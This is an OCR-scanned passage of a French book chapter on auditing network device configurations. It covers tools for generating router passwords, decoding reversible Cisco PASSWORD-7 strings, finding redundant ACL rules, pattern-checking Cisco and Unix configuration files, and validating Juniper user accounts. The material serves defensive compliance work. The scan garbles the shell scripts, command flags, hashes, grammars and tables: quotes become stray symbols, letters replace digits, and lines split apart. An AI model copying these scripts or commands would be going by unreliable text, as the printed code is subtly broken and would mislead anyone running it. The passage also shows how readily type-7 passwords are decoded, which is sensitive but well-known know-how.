deux methodes distinctes : PASSWORD-7 et SECRET-5. La methode PASSWORD-7 
est reversible, si bien que meme un cryptanalyste amateur peut casser l'algorithme en 
peu de temps. Plusieurs decodeurs sont d'ailleurs disponibles sur Internet, et n'importe 
quel moteur de recherche peut les trouver rapidement. 

La methode SECRET-5 est fondee sur une signature MD5, qui est une implementation 
directe de la methode utilisee par les systemes Unix. Cet algorithme est non reversible. 

Le probleme est que ces deux methodes Cisco ne sont pas mutuellement exclusives et 
qu'il est possible de retrouver le meme mot de passe ENABLE dans une configuration 
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sous les deux types de codage. Quand les deux codages sont presents dans une configu- 
ration, la methode SECRET-5 est utilisee prioritairement. 

En consequence, la politique de securite se decline ainsi : si les deux codages sont 
presents dans une configuration, le codage PASSWORD-7 ne doit pas reveler le veritable 
mot de passe encode sous SECRET-5. 

L'outil CISCO_CRYPT a ete con^u pour integrer les fonctionnalites d'encodage sous les 
deux modes et de decodage sous le mode PASSWORD-7. 

Prise en main 

Soit la ligne de commande suivante : 



l 



• 



genpass -dr -n nombre -1 longueur -a regex -w fichier-mots -f fichier-germe -s 
chaine-germe clefs 

-d specifie une generation deterministe des mots de passe, implementant le mode 
livret. 

• - r specifie une generation aleatoire des mots de passe. 

• -n nombre specifie le nombre de mots de passe a generer. 

• -1 1 ongueur specifie le nombre de caracteres pour chaque mot de passe genere. 

• -a regex specifie l'alphabet utilise pour generer les mots de passe. 

• -wfichier-mots specifie un fichier contenant des mots a utiliser comme alphabet pour 
generer des phrases de passe. 

• -f fichier-germe specifie le fichier contenant un secret a utiliser pour la generation 
des mots de passe. 

• -s chaine-germe specifie une chaine de caracteres a utiliser pour la generation des 
mots de passe. 

• cl ef s specifie les parametres non secrets pour la generation des mots de passe. 
Et la ligne de commande suivante : 

cisco_crypt -e5 -e7 -s sel -d7 mot-de-passe 

-e5 specifie le chiffrement du mot de passe sous le mode SECRET-5. 

-e7 specifie le chiffrement du mot de passe sous le mode PASSWORD-7. 

-s sel specifie le sel (salt) a utiliser dans les modes de chiffrement. 

-d7 specifie le dechiffrement du mot de passe dans le mode PASSWORD-7. 

mot-de-passe : specifie le mot de passe qui sera soit chiffre soit dechiffre. 
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Exemples 

Dans un premier temps, nous utilisons GENPASS pour forger le secret d'un livret pour le 
reseau « client ». Le secret, de 256 caracteres hexadecimaux, est conserve dans le fichier 
client.key. Le germe supplementary 'cl ient' est injecte dans l'entropie du generateur 
aleatoire : 

margot$ genpass -r -1 256 -a ' [0-9A-F] ' -s 'client' >client.key 

Par exemple, le fichier client.key contient la chaine suivante : 

B61F695BDE0DBA1940707142B67281AF5B8DD610B57B26F7A3D71BC973437277EBBF626106D7110EEDCB 
5AC1CCF85F2F0526502793024A204CBCB50F194C74A6FDF2A61756D95ECAA9F387B5F9B05411BF7CDF88 
F0BDF355D1FC0509D7BDCE93D716ACE94E0BAA90062272CBA335BE78545DF38B0225DF77C13AACCF37E2 
EAC9 

Nous determinons ensuite le mot de passe a utiliser pour le routeur dont le nom est dans 
la variable ROUTEUR et pour le type d'acces dont le nom vty, enabl e ou consol e est dans 
la variable ACCES. 

Les mots de passe comportent 12 symboles pris sur un alphabet de 64 caracteres (alpha- 
numeriques et deux signes de ponctuation). 

Dans 1' exemple suivant, la variable ROUTEUR contient la chaine client-01-04a et la varia- 
ble ACCES la chaine enabl e : 

margot$ genpass -d -f client.key -1 12 -a ' [a-zA-ZO-9./] ' \ 

SROUTEUR $ACCES 
Tdi4.TulMSr8 

Notons que cette derniere commande doit etre invoquee pour la configuration initiale du 
routeur. 

La souplesse dans la specification des parametres de GENPASS permet de deflnir a la 
volee une structure de mots de passe par reseau, client, region, etc. Le nombre de cles et 
de parametres n'est pas borne. Ainsi, GENPASS peut etre utilise pour la generation de 
secrets prepartages IPsec ou WI-FI. 

L'utilisation de l'outil cisco_crypt est triviale : les parametres d7, e7 et e5 speciflent 
respectivement les modes de decodage-encodage PASSWORD-7 et l'encodage 
SECRET-5. Le parametre s specifle le sel si necessaire. 

La validation de la politique de conformite du mot de passe ENABLE peut s'implemen- 
ter de la fagon suivante : 

#!/bin/sh 

# le parametre $1 est le nom du routeur et du fichier de 

# configuration 

# 

ENC0DED_5=^awk V A enable secret 5 / { print $4 }' $r 

EXPECTED=^genpass -d -f client.key -1 12 -a ' [a-zA-ZO-9./] ' \ 

$1 "enable"* 
EXPECTED_5=*cisco_crypt -e5 -s $ENC0DED_5 SEXPECTED* 
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if [ $ENC0DED_5 = $EXPECTED_5 ] 
then 

echo "$1 CONFORME" 
else 

echo "$1 NON CONFORME" 
fi 

De meme, la validation de la politique de non-divulgation du mot de passe ENABLE 
peut s'implementer comme suit : 

# !/bin/sh 

# le parametre $1 est le nom du routeur et du fichier de 

# configuration 

# 

ENC0DED_7= x awk 7 A enable password 7 / { print $4 }' $r 
ENC0DED_5=^awk 7 A enable secret 5 / { print $4 }' $r 
DEC0DED_7=^cisco_crypt -d7 $ENC0DED_7 X 
REC0DED_5=^cisco_crypt -e5 -s $ENC0DED_5 $DEC0DED_7 X 

if [ $ENC0DED_5 = $REC0DED_5 ] 
then 

echo "$1 DIVULGATION" 
else 

echo "$1 NON DIVULGATION" 
fi 

Supposons maintenant que le fichier de configuration du routeur client-01-04a 
contienne les deux lignes suivantes : 



i 



enable secret 5 $l$0NFJ$fel lulqDLLUlsW4fqZ3M60 
enable password 7 14231602584A1E3E280500277A 



Les invocations de cisco_crypt donnent : 

margot$ cisco_crypt -e7 -s 14 Tdi4.TulMSr8 

14231602584A1E3E280500277A 

margot$ cisco_crypt -d7 14231602584A1E3E280500277A 

Tdi4.TulMSr8 

margot$ cisco_crypt -e5 -s '$1$0NFJ$' Tdi4.TulMSr8 

$l$0NFJ$fel lulqDLLUlsW4fqZ3M60 

La configuration du routeur est conforme, puisque le mot de passe ENABLE est bien ce 
qu'il doit etre, alors meme que ce mot de passe est code sous les deux modes, en viola- 
tion de la politique de non-divulgation. 



Analyse de la coherence d'ACL 

Valider une ACL est facile lorsqu'elle ne depasse pas quelques dizaines de lignes. 
Malheureusement, il n'est pas rare d'etre confronte a des ACL signiflcativement plus 
longues, ce qui rend la validation automatique essentielle. Par exemple, un ingenieur 
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pourrait deploy er de longues ACL pour implementer un « pare-feu du pauvre ». Cette 
section detaille un outil con^u pour automatiser la detection d' ACL incoherentes. 

L'outil VACL analyse une ACL independamment de toutes les autres. II n'est pas con^u 
pour gerer globalement l'ensemble des ACL d'un reseau, a la difference du produit 
SolSoft disponible sur le marche. 

Comme les autres outils decrits dans ce chapitre, VACL fonctionne essentiellement 
« offline », en lisant un fichier de configuration telecharge par un autre moyen. VACL 
analyse une ACL et rapporte les diagnostics de redondance et d'inconsistance, meme en 
cas d' incoherence partielle. 

VACL est ecrit en moins de 4 000 lignes de code C. 

Conception de l'outil 

Idealement, toutes les regies d'une ACL devraient referer a des adresses IP, des ports et 
des protocoles distincts. Si deux regies d'une meme ACL referent aux memes adresses, 
ports et protocoles, on devrait y regarder de plus pres pour investiguer la coherence de 
ces deux regies. 

Une ACL etendue (au sens de Cisco) est representee par un 7-tuple dans un espace 
discret defini par les sept dimensions suivantes : 

• permission permit ou deny ; 

• protocole IP (ICMP, TCP, UDP, etc.) ; 

• intervalle d' adresses IP sources ; 

• ports sources, pour le protocole TCP ou UDP ; 

• intervalle d' adresses IP destination ; 

• ports destination, pour le protocole TCP ou UDP ; 

• parametres associes au protocole. 

Ces sept dimensions sont des ensembles discrets et finis. L'idee sous-jacente est de consi- 
derer une regie d' ACL comme un hyper-rectangle dans cet espace multidimensionnel. La 
detection des incoherences est done reduite au calcul des intersections dans un ensemble 
de solides. 

VACL est ecrit en C, avec un cadre LEX et YACC, et parcourt une ACL en suivant la 
syntaxe et la semantique Cisco. 

La syntaxe d'une ACL a ete reconstruite par la grammaire hors contexte suivante : 



acl -> std_head std_line extjiead ext_line 

named_std_head named_std_body named_ext_head named_ext_body 
std_head -> access-list std-acl-number 
ext head -> access-list ext-acl -number 
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named_std_head 
named_ext_head 
named_std_body 
named_ext_body 



string access-list standard 
string access-list extended 

std_line named_std_body std_line 
ext_line named_ext_body ext_line 



std_line -> permission addresses 

ext_line -> permission protocol addresses ports addresses ports 

protocol_flag precedence tos log 
permission -> permit deny 
protocol -> string number 

addresses -> host string any subnet- ip-addr netmask 
ports -> empty-string eq port neq port It port gt port 

range port port 
port -> string number 

protocol_flag -> empty-string string number number number 
precedence empty-string precedence string precedence number 
tos -> empty-string tos string tos number 
log -> empty-string log 

Une dependance importante est que le systeme sur lequel s' execute VACL doit pouvoir 
resoudre les noms DNS et les noms de protocoles et de ports de la meme maniere que le 
routeur analyse. En revanche, si les regies de l'ACL sont exprimees numeriquement, 
cette dependance ne s' applique plus. 

Sur un PC Intel bas de gamme, sous Linux ou BSD, l'outil peut analyser rapidement des 
ACL de plus de 4 000 regies. 



Prise en main 



Soit la ligne de commande suivante : 
vacl -a fichier-acl 

• -a specifle 1' analyse d'une ACL. 

• fichier-acl specifle le nom du flchier contenant le texte d' une ACL. 

Exemple 

Considerons une ACL definie par les quatre regies suivantes : 

access-list 101 permit IP 10.0.0.0 0.255.255.255 10.0.0.0 0.255.255.255 

access-list 101 permit IP 47.4.0.0 0.3.255.255 47.0.0.0 0.255.255.255 

access-list 101 permit IP 47.7.6.0 0.0.0.255 47.7.6.0 0.0.0.255 

access-list 101 permit IP 47.0.0.0 0.255.255.255 47.4.0.0 0.1.255.255 

Comme toutes les regies ne contiennent que des adresses sources et destination, nous 
pouvons visualiser l'ACL comme un ensemble de quatre rectangles, avec les coordon- 
nees recapitulees au tableau 15.1. 

Pour une bonne comprehension visuelle, ces quatre rectangles sont illustres a la 
figure 15.2. 
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Tableau 15.1 Exemple de regies ACL 



Regie 


Premiere IP SRC 


Derniere IP SRC 


Premiere IP DST 


Derniere IP DST 


1 


10.0.0.0 


10.255.255.255 


10.0.0.0 


10.255.255.255 


2 


47.4.0.0 


47.7.255.255 


47.0.0.0 


47.255.255.255 


3 


47.7.6.0 


47.7.6.255 


47.7.6.0 


47.7.6.255 


4 


47.0.0.0 


47.255.255.255 


47.4.0.0 


47.5.255.255 



Figure 15.2 

Intersections geometriques 
des lignes d'une ACL 



255.255.255.255 



DST 



0.0.0.0 





0.0.0.0 



SRC 



255.255255.255 



Bien que les proportions ne soient pas respectees, on voit immediatement que la regie 1 
est totalement independante de toutes les autres. En revanche, la regie 3 est un sous- 
ensemble propre de la regie 2, qui intercepte d'ailleurs la regie 4. 

Le calcul de 1' intersection entre la regie 2 et la regie 4 donne le rectangle fonce, avec les 
adresses sources variant de 47.4.0.0 a 47.7.255.255 et les adresses destination variant de 

47.4.0.0 a 47.5.255.255. 

Pour interpreter correctement 1' incoherence, il faut se referer aux permissions associees 
aux regies 2 et 4. Comme il s'agit de permit dans les deux cas, nous en concluons que 
ces regies sont redondantes a l'intersection calculee. La regie 3 est totalement redondante 
avec la regie 2. Nous pouvons done la supprimer. 

Si la regie 2 avait une permission deny, la regie 3 serait clairement incoherente, 
puisqu'elle permettrait un trafic ay ant ete auparavant refuse. 

L'invocation de VACL sur l'exemple ci-dessus est donnee dans la transcription suivante : 
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margot$ vacl -a ./ exemplel.txt 

[2] access-list 102 permit ip 47.4.0.0 0.3.255.255 47.0.0.0 0.255.255.255 

[3] access-list 102 permit ip 47.7.6.0 0.0.0.255 47.7.6.0 0.0.0.255 

*** redundancy [3] < [2] 

[2] access-list 102 permit ip 47.4.0.0 0.3.255.255 47.0.0.0 0.255.255.255 

[4] access-list 102 permit ip 47.0.0.0 0.255.255.255 47.4.0.0 0.1.255.255 

*** redundancy [4] * [2] = permit ip 47.4.0.0 0.3.255.255 47.4.0.0 0.1.255.255 

En revanche, si nous avons 1' ACL suivante : 

access-list 101 permit icmp 10.0.0.0 0.255.255.255 10.0.0.0 0.255.255.255 

access-list 101 permit tcp 47.4.0.0 0.3.255.255 47.0.0.0 0.255.255.255 

access-list 101 permit udp 47.7.6.0 0.0.0.255 47.7.6.0 0.0.0.255 

access-list 101 permit udp 47.0.0.0 0.255.255.255 47.4.0.0 0.1.255.255 

1' invocation de VACL donne : 



i 



margot$ vacl -a ./exempl e2.txt 
margot$ 



II n'y a plus de redondance ni d'inconsistance detectee. D'autres exemples sont disponi- 
bles sur le site de reference de l'ouvrage. 



Analyse de configuration par patron 

II arrive frequemment qu'une analyse semantique de configuration ne soit pas appropriee. 
En revanche, une analyse syntaxique, comme la verification de conformite sur un patron 
de configuration standard deflni par des expressions regulieres, est souvent pertinente. 

Rappelons qu'une expression reguliere est un modele de texte constitue de caracteres 
ordinaires (par exemple les lettres deaaz) et de caracteres speciaux, appeles metacarac- 
teres. Le modele decrit une ou plusieurs chames a mettre en correspondance lors d'une 
recherche effectuee sur un texte. 

L'objectif de cet outil est d'exprimer un patron relativement complexe afln de repondre, 
par exemple, aux conformites suivantes : 

• Le parametre HOSTNAME est conforme au standard de nommage, exprime par une 
expression reguliere. 

• L'interface L00PBACK99 est deflnie, et ses sous-parametres sont conformes a la poli- 
tique de securite reseau. 

• Le controle d'acces BACKBONE existe et est conforme a la politique de securite reseau. 

• Toutes les interfaces ETHERNET ont leur sous-parametre IP REDIRECT desactive confor- 
mement a la politique de securite reseau. 

Bien qu'il soit possible d'ecrire un script AWK ou un analyseur syntaxique (typiquement 
genere par YACC), ceux-ci sont peu souples, et leur adaptation a un nouveau patron peut se 
reveler fastidieuse. Tous les ingenieurs ne sont pas necessairement programmeurs, mais ils 
sont certainement capables d'ecrire une expression reguliere apres une courte formation. 
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L'outil HDIFF (Herve's DIFF) est un analyseur syntaxique qui permet d'exprimer des 
patrons modelisant des lignes de configuration. Ces lignes peuvent etre des expressions 
regulieres, et il doit etre possible de les structurer avec les operateurs classiques d'une 
expression reguliere, a savoir la conjonction, la disjonction et la fermeture transitive. 

HDIFF permet d'exprimer un patron comme une expression reguliere, dans laquelle 
chaque element est egalement une expression reguliere. Un moteur tel que celui de DIFF 
permet de parcourir un flchier d' entree et de rapporter toutes les lignes non conformes au 
patron. Sa limitation conceptuelle est de ne pouvoir definir d' action associee a un patron, 
a la difference de AWK et YACC. 

HDIFF est ecrit en moins de 1 000 lignes de code C. 



<parl> -> 


f 


1 ' r ' 1 


<par2> -> 


c' 


1 '">' 1 


<par3> -> 


x' 


1 ' s ' 1 


<par4> -> 


= ' 


1 ' 1 ' 1 

• 


<par5> -» 


* ' 


*+' 


<bloc> -* 


• 
• 


<expr-r 



Conception de l'outil 

L'outil HDIFF est un compromis entre DIFF et COMM, avec des concepts issus de 
GREP et de AWK. Les flchiers specifies en entree sont parcourus sequentiellement et 
compares a un patron structure en blocs (pouvant etre recursifs). 

Un patron est deflni par la syntaxe hors contexte suivante : 

<patron> -> <parametres> <bloc> 

<parametres> -> <parl> <par2> <par3> <par4> <par5> 

<vide> 

<vide> 

<vide> 

<vide> 

'?' <nombre> <vide> 
<expr-reg> *\n* | '{' <patron> + '}' | '[' <patron> + ']' 

Un patron est done une suite de parametres suivie d'un bloc. Un bloc est soit une expres- 
sion reguliere precedee de :, soit recursivement une suite d'autres patrons comportant des 
accolades ou des crochets. 

Les cinq parametres caracterisent le traitement du bloc et peuvent etre nuls, auquel cas 
une valeur par defaut est appliquee. 

Un patron typique ressemble a ceci : 

# commentai re 
fcx=l{ 

r :expression-regul iere 
:1 igne-entete 

{ 

:sous-patron non-ordonne 

[ 

:sous-sous-patron ordonne 

] 
} 
} 
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Les commentaires commencent par le caractere # et englobent le reste de la ligne. Le 
caractere : introduit une expression reguliere qui s'etend jusqu'a la fin de la ligne. 

Les parametres definissent la semantique de la reconnaissance de 1' expression reguliere 
et le nombre d' occurrences. Les parametres precedant un sous-patron definissent de 
nouvelles valeurs par defaut pour les expressions regulieres internes : 

• Le parametre par defaut f definit l'expression reguliere suivante comme une chaine 
litterale, dans le meme sens que 1' option -f de GREP. Le parametre r definit une 
expression reguliere etendue au sens POSIX. 

• Le parametre par defaut c specifie une reconnaissance en conformite avec les majus- 
cules et les minuscules. Le parametre i specifie une reconnaissance independante des 
majuscules et des minuscules, dans le meme sens que 1' option -i de GREP. 

• Le parametre par defaut x specifie une reconnaissance sur toute la ligne d' entree, au 
meme sens que l'option -x de GREP. Le parametre s specifie que l'expression regu- 
liere peut etre une sous-chaine de la ligne lue en entree. 

• Le parametre par defaut = specifie que l'expression reguliere doit correspondre a la 
ligne lue en input, alors que le parametre ! indique une non-correspondance, comme 
avec l'option -v de GREP. 

• Les parametres *, +, ? et <nombre> specifient le nombre d'occurrences d'une expres- 
sion reguliere. Les parametres * et + sont des fermetures transitives et indiquent 
respectivement au moins zero ou une occurrence. Le parametre ? specifie zero ou une 
occurrence, et un nombre entier non negatif specifie explicitement le nombre d'occur- 
rences voulues. La valeur par defaut est le nombre 1. 

Les parametres par defaut sont f cx=l, specifiant une seule correspondance de texte litte- 
ral sur une ligne complete, respectant les majuscules et les minuscules. 

Comme indique precedemment, un bloc peut etre defini recursivement par un sous- 
patron encadre soit par des accolades, soit par des crochets. Une paire d' accolades definit 
un sous-patron dont les composantes sont non ordonnees. Dans ce cas, le moteur de 
correspondance, pour chaque ligne lue de l'entree, essaie de trouver une expression regu- 
liere dans le sous-patron, de la premiere jusqu'a la derniere, et arrete a la premiere corres- 
pondance trouvee. Si l'expression reguliere constitue l'en-tete d'un sous-patron (c'est-a- 
dire qu'un sous-patron suit immediatement), les recherches suivantes sont effectuees a 
partir du sous-patron interne. 

Inversement, une paire de parentheses « crochet » definit un sous-patron dont les compo- 
santes sont ordonnees. Dans un tel patron, le moteur de correspondance, pour chaque 
ligne lue de l'entree, ne reprend pas la recherche a partir du haut, mais a son point 
precedent ; toutes les expressions regulieres d'un tel bloc sont considerees une a la fois. 
De meme, une expression reguliere constituant l'en-tete d'un sous-patron introduit la 
suite des correspondances dans ce bloc. 

Si aucune expression reguliere du bloc courant ne correspond a la ligne d' entree, le moteur 
de correspondance transite sur le bloc englobant s'il existe, sinon le moteur rapporte 
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l'erreur NO MATCH. Avant de quitter un bloc interne, le moteur verifle le nombre d' occur- 
rences observees par rapport a celui specifle, et ce pour toutes les expressions regulieres. 

Le programme HDIFF commence par lire le patron fourni dans un flchier. Le patron est 
represents en interne par une arborescence, dans laquelle chaque noeud interne est un 
bloc, et chaque feuille une expression reguliere. Le moteur de correspondance n'est done 
qu'un parcours dans un arbre. Les diverses primitives de reconnaissance (chaine litterale, 
expression reguliere, etc.) sont directement disponibles dans tout systeme Unix. 

L'outil HDIFF imprime sous forme tabulaire les lignes d' entree non reconnues par le 
patron. Le format comporte dix champs facilement reconnaissables par des tableurs. Le 
post-processeur VHDIFF permet de fUtrer et de visualiser la sortie. 

Prise en main 

Soit la ligne de commande suivante : 

hdiff -f fichier-patron fichier-configuration 

• -f fichier-patron specifle le flchier contenant le patron. 

• fichier-configuration specifle le flchier contenant la configuration a verifier. 

Exemples 

Les premiers exemples illustrent le fait que HDIFF peut etre utilise dans tout contexte 
impliquant un flchier de configuration ayant une structure bien defTnie. 

Ainsi, nous utilisons HDIFF pour verifier la conformite de flchiers /etc/resolv.conf. 

Le flchier de patron contient : 

[ # bloc ordonne de 2 chaines litterales 

rnameserver 10.0.1.100 

rsearch domaine.net 
] 

L'outil HDIFF rapporte tous les flchiers non conformes a ces deux lignes, uniquement, et 
dans l'ordre. 

Dans le meme ordre d'idee, la structure de flchiers /etc/passwd est representee par le 
patron suivant : 

{ # Les lignes peuvent apparaitre dans un ordre arbitral" re 

# root doit avoir un mot-de-passe non-nul , le UID et le GID 0. 
r : root : [a-zA-Z0-9./$]+:0:0: [ A :]*: /root :[ A :]* 

# Ne tolerer aucun autre UID 
rs=0 : A [ A :]*:[ A :]*:0+: 

# Accepter tous les autres comptes utilisateur 
r* :[ A :]+:[a-zA-Z0-9./$]+:[0-9]+:[0-9]+:[ A :]*:[ A :]*:[ A :]* 
} 
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Pour tous les routeurs Cisco d'un reseau, nous desirons detecter les deviations par 
rapport au standard de configuration des interfaces et des acces a l'equipement reseau. 
Les flchiers de configuration sont disponibles sur le systeme. 

Le patron est deflni par le flchier suivant afln de verifier la conformite des interfaces : 

{ 

# SECTION INTERFACE 
r+ : interface .+ 
{ 
s : description 

r : ip address [0-9]+(\.[0-9]+){3} 
no ip redirects 
no ip mask-reply 
no ip proxy-arp 
no ip directed broadcast 
no cdp enable 

# Accepte toutes les autres lignes de configuration 

# dans ce bloc 
r* : .* 
} 



# Accepte toutes les autres lignes de configuration 



} 



Remarquons que l'expression reguliere utilisee pour modeliser l'adresse IP est trop 
permissive. En effet, la chaine 257.9999.800.777 sera reconnue comme valide, ce qui est 
evidemment faux. Bien qu'il soit possible d'exprimer exactement une adresse IP valide 
par une expression reguliere, cette derniere est trop lourde pour illustrer notre propos. 

Nous allons definir le patron par le flchier suivant afln de verifier la conformite des acces 
a l'equipement reseau : 

{ 

# Accepte les blancs, commentai res, etc. 
r* : A [ ]* 
rs* : A ! 

# Section relative a une ligne aux 
s :1 ine aux 

{ 

exec-timeout 10 
r : password 7 [0-9A-F]+ 
r : access-class [0-9]+ in 

transport input none 

transport output none 

# Accepte toutes les autres lignes de configuration 

# dans ce bloc 
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r* 



• • 



} 

# Section relative a une ligne vty 
s+ :line vty 
{ 

exec-timeout 10 
r : password 7 [0-9A-F]+ 
r : access-class [0-9]+ in 
transport input telnet 
transport output none 

# Accepte toutes les autres lignes de configuration 

# dans ce bloc 



r* 



• • 



} 



# Accepte toutes les autres lignes de configuration 
r* : .* 



} 

Si nous executons le programme HDIFF sur la configuration demo . cf qui ne respecte pas 
certains elements du patron, nous obtenons les resultats suivants : 

margot/15.hdiff$ hdiff -f ./demo.tp . /demo.cf 

. /demo.cf~l~<top level >~8~fcs=~K~l ine aux~MATCH~l~l ine aux 

. /demo.cf~l~l ine aux 0~10~fcx=~l<~ exec-timeout 10 0~MATCH~2~ exec-timeout 10 

. /demo. cf~l~l ine aux 0~ll~rcx=~l<~ password 7 [0-9A-F]+~MATCH~3~ password 

7 0123456789ABCDEF 
. /demo. cf~l~l ine aux 0~13~fcx=~l<~ transport input none~MATCH~4~ transport input none 
. /demo. cf~l~l ine aux 0~14~fcx=~l<~ transport output none~MATCH~5~ transport output 

none 
. /demo. cf~l~l ine aux 0~12~rcx=~l<~ access-class [0-9]+ in~C0UNTED — 
. /demo . cf~l~<top 1 evel >~5~rcs=~*<~ A !~MATCH~6~! 
./demo.cf~l~<top 1 evel >~20~fcs=~+<~l ine vty~MATCH~7~l ine vty 4 
. /demo. cf~7~l ine vty 4~22~fcx=~l<~ exec-timeout 10 0~MATCH~8~ exec-timeout 10 
. /demo. cf~7~l ine vty 4~24~rcx=~l<~ access-class [0-9]+ in~MATCH~9~ access-class 44 

in 
. /demo. cf~7~l ine vty 4~25~fcx=~l<~ transport input telnet~MATCH~10~ transport input 

telnet 
. /demo. cf~7~l ine vty 4~26~fcx=~l<~ transport output none~MATCH~ll~ transport output 

none 
. /demo. cf~7~l ine vty 4~23~rcx=~l<~ password 7 [0-9A-F]+~C0UNTED 0— 
. /demo . cf~l~<top 1 evel >~5~rcs=~*<~ A !~MATCH~12~! 

Si nous souhaitons afflcher uniquement les elements qui ne respectent pas le patron, nous 
executons la commande suivante : 

margot/15.hdiff$ hdiff -f ./demo.tp ./demo.cf vhdiff 

IN BLOCK ./demo.cf 1: line aux 

PATTERN 12 'rcx=K': access-class [0-9]+ in 
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COUNTED 

IN BLOCK ./demo.cf 7: line vty 4 
PATTERN 23 *rcx=K': password 7 [0-9A-F]+ 
COUNTED 

Cet exemple illustre en premiere erreur que la 1 i ne aux (ligne 1 de la configuration) ne 
contient pas de access-cl ass [0-9]+ i n, comme l'exige le patron (ligne 12 du patron). 
Dememe, une deuxieme erreur montre que la 1 ine vty 4 (ligne 7 de la configuration) 
ne contient pas de password 7 [0-9A- F]+, comme l'exige le patron (ligne 23 du patron). 

En situation reelle, l'outil HDIFF est utilise pour verifier la post-conformite lors de 
1' introduction d'une nouvelle fonctionnalite ou de changement global. Les equipements 
reseau sont selectionnes d'apres leur nature et leur fonction. A chaque categorie corres- 
pond un patron modelisant le standard de configuration. Une fois les configurations 
mises a jour, les flchiers sont valides sur la base de leur patron respectif. 



Analyse de configuration d'equipements reseau Juniper 

Cette section a pour but d'illustrer les limitations inherentes au developpement d'un outil 
dedie a un probleme complexe, sur un objet complexe. En un certain sens, l'outil Juniper 
est un echec en terme de simplicite et de souplesse, puisqu'il est complexe et lourd. De 
plus, toute modification, meme mineure, requiert une programmation fastidieuse. Cepen- 
dant, force est de constater qu'il est efflcace. 

Les equipements reseau Juniper ont un modele de configuration hierarchique, caique sur 
la notion de bloc imbrique, comme dans beaucoup de langages de programmation 
modernes. Heureusement, le constructeur publie la syntaxe complete dans la documenta- 
tion disponible sur son site Internet. 

Par opposition a l'outil HDIFF decrit a la section precedente, nous avons besoin d'un 
outil nous permettant de valider semantiquement des configurations, et non seulement 
syntaxiquement. Les tests semantiques peuvent etre varies et ne sont pas deflnis a 
l'avance. 

Dans ce cas precis, le parcours de configuration doit se faire avec une technique dite 
« dirigee par syntaxe » {syntax-directed). En effet, un meme mot-cle pouvant se retrouver 
dans plusieurs sections differentes, l'analyseur doit pouvoir discriminer totalement son 
contexte d' utilisation. De plus, la configuration Juniper etant en format libre, un parame- 
tre peut occuper plusieurs lignes, entrecoupees de commentaires. Ici encore, l'outil 
HDIFF, avec son approche ligne par ligne, n'est pas approprie. 

Conception de l'outil 

L'outil generique Juniper est construit a l'aide du generateur de compilateur YACC, et 
son analyseur lexical est un automate genere par LEX. Les tests semantiques sont ecrits 
en C. 
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Plus precisement, les tests semantiques sont codes directement dans le fichier YACC, 
associes a une regie syntaxique donnee. Si nous ajoutons un nouveau test semantique, il 
nous faut mettre a jour les regies syntaxiques YACC et coder le test voulu. 

La partie la plus fastidieuse est certainement le parcours syntaxique, bien qu'il soit possi- 
ble de court-circuiter les regies non pertinentes. 



Prise en main 



Soit la ligne de commande suivante : 

juniper fichier-configuration 

fichier-configuration specifle le fichier contenant la configuration de l'equipement 
Juniper. 

Exemple 

Nous desirons valider la liste des comptes d'acces configures sur les equipements reseau 
Juniper. Ces comptes et leurs caracteristiques sont deflnis par le patron de configuration 
suivant : 

system { 

login { 

/* Definit un profil d'util isateur */ 
class <i denti f i ant> { 

permissions [ <1 i ste d 'i denti fiants> ] ; 
} 

/* Definit un util isateur i denti f i e par son UID 
et de profile specifie par sa classe */ 
user <identifiant> { 
uid <entier> ; 
class <i denti fiant> ; 
} 
} 



} 



L'outil d' analyse doit ignorer les lexemes apparaissant dans d'autres contextes, de fa^on 
que nous ne soyons pas obliges d'implementer la totalite de la syntaxe Juniper. 

Pour chaque utilisateur, l'analyseur doit verifier l'unicite de son identiflant et de son 
UID. La classe d'un compte utilisateur peut etre de type « super-usager » ou « lecture 
seulement ». Ces classes sont caracterisees par des identiflants de permission (la permis- 
sion « admin » octroie les superpouvoirs et ne doit pas apparaitre dans la classe non 
privilegiee). Au moins un compte de chaque classe doit etre configure. 

Nous utilisons deux structures de fouilles (typiquement des ensembles) distinctes pour 
les classes et les utilisateurs. L' ensemble "usagers" pourrait avantageusement etre 
doublement indexe par 1' identiflant d'utilisateur et par l'UID. 
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Pour cet exemple, un pseudo-code YACC est preferable a une transcription litterale (les 
lexemes litteraux sont en gras) : 

/* dans le contexte system { login {...}} */ 

class identifiant { permission [ 1 i ste_identif i ants ] ; } 

{ 

entrer 1 'identifiant de classe dans 1 'ensemble "classes". 
si 1 'entree existait deja alors erreur » classe non unique » 

si_ le mot clef admin est dans la liste des permissions alors 

etiquetter cette classe "super-pouvoi rs" 
si non 

etiquetter cette classe « lecture seulement » 



/* on suppose que les classes sont definies avant les usagers */ 
user identifiant { uid numero ; class identifiant ; } 
{ 
si_ 1 'ensemble "usagers" contient deja une entree 
de meme "uid <entier>" alors 
erreur « uid non unique » 
si_ 1 'ensemble "usagers" contient deja une entree 
de meme "user <identifiant>" alors 
erreur « usager non unique » 

si_ 1 'identifiant de classe est dans 1 'ensemble "classes" alors 

copier localement l'etiquette de la classe 
si non 

erreur « classe non definie » 

entrer 1 'identifiant usager, son uid et son etiquette de classe 
dans 1 'ensemble "usagers" 



/* en sortant du contexte login { 
system { login { ... } 

{ 



} */ 



rw <- ; ro <- ; 

pour tous les enregistrements dans l'arbre "usagers" fai re 
si_ etiquette == "super-pouvoi rs" alors 
incrementer rw 
si non 

incrementer ro 
fin pour 

si_ rw == alors erreur « pas de super-usager » 

si_ ro == alors erreur « pas de compte lecture seulement » 
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Un fichier de configuration Juniper contient les declarations de classes et d'utilisateurs 
suivants : 

system { 
login { 
class cl { 

permissions [admin]; 
} 

class c2 { 

permissions [admin firewall]; 
} 

class c3 { 

permissions [firewall]; 
} 



user cedric { 

uid 1000; 

class cl; 
} 

user denis { 

uid 1000; 

class c2; 
} 

user margot { 
uid 1001; 
class c4; 
} 
} 
} 

Si nous executons le programme Juniper sur ce fichier de configuration, nous obtenons le 
resultat suivant : 

margot/15. juniper$ ./juniper demo.conf 
demo.conf 

utilisateur 'margot': classe 'c4' non declaree. 

utilisateur 'cedric': uid '1000' duplique. 

Pas d'util isateur read-only. 

Le programme Juniper se restreint aujourd'hui a 1' analyse semantique des declarations 
de classes et d'utilisateurs, mais il peut etre etendu a d'autres verifications syntaxiques et 
semantiques. 
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Gestion de graphes 

L' implementation d'algorithmes de graphes est un exercice de programmation classique 
dans les cursus universitaires. De plus, des outils adequats se trouvent facilement sur 
Internet. 

Pourtant, nombre de ces outils ne sont que des jouets ou, au mieux, des exercices de 
style. Les autres produits sont souvent des programmes avec interface graphique ou des 
collections d'algorithmes sophistiques implementes sur une structure de donnees peu 
adaptee a notre contexte. 

